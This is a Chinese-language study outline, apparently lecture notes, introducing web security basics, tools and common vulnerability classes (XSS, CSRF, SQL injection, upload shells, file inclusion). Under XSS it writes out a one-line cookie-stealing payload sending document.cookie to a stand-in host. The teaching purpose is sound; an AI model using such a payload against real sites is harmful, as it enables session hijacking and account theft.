about web-sec
写在前面的
- 学习使用Linux系统 [先在虚拟机里]
- github + hexo 来记录自己的学习历程 [超级好弄]
- 正则表达式
- 推荐案盲打 + VIM
- 浏览器FF + chrome
正文
关于
web
我们不需要像web开发那样关注布局,美感
前端
- html
- css
写在style标签里,共有三种嵌入html的方式
作用:决定布局和样式 - javascript
写在script标签里 - 直接用
F12
后台
- php
- python [+]
- node
- java
关于HTTP [浏览器输入网址后发生了什么]
- 给大家抓个包[burpsuite] => 并很自然的提到FF和chrome的插件
- 顺便安利markdown以及chrome的markdown插件
- post请求,get请求
常见的加密 && 编码
- base64 [特点: 等号]
- rot13 [还有其他各种rot]
- 常见的hash => md5 /sha1
熟悉常见的套路
关于常见的漏洞 [没有时间就不展开讲了]
- 前端
- xss
- 反射型,存储型
- 推荐网站
- 窃取cookie
- new Image().src = “http://eval.com“ + document.cookie;
- 发起请求
- csrf
- 删除文章的例子
- xss
- 服务器端
- PHP
主要研究PHP
漏洞,有些是相通的
学过C的话很容易看懂
此处提醒$_GET['a']
,$_POST['a']
….
其他的就是喜闻乐见的循环啊,函数啊,之类的 - 数据库[SQLi] [注意法律,自己搭建靶机,或者拿国外网站做靶机] 数据
- 错误注入
- 盲注
- 上传漏洞 [上传shell]
- 一般是图片上传
- 文件包含 [RFI, LFI]
- 读源码 => php伪协议, 套路[xxx.php.swp]
- PHP
- 前端
漏洞利用
- 语言不重要,首选
python
=> 简单啊,省时间,库多,不需要造轮子 - 推荐
python黑帽子
[很薄,很快可读完] - 漏洞利用框架
msf
, 后渗透框架- …
- 各种神奇的工具
- 语言不重要,首选
其他发展方向 [主要是逆向工程]
- binary [我一点都不会]
- 推荐看雪
加密解密
,漏洞战争
,有趣的二进制
[mini]
学一学数学 [与本文不相关]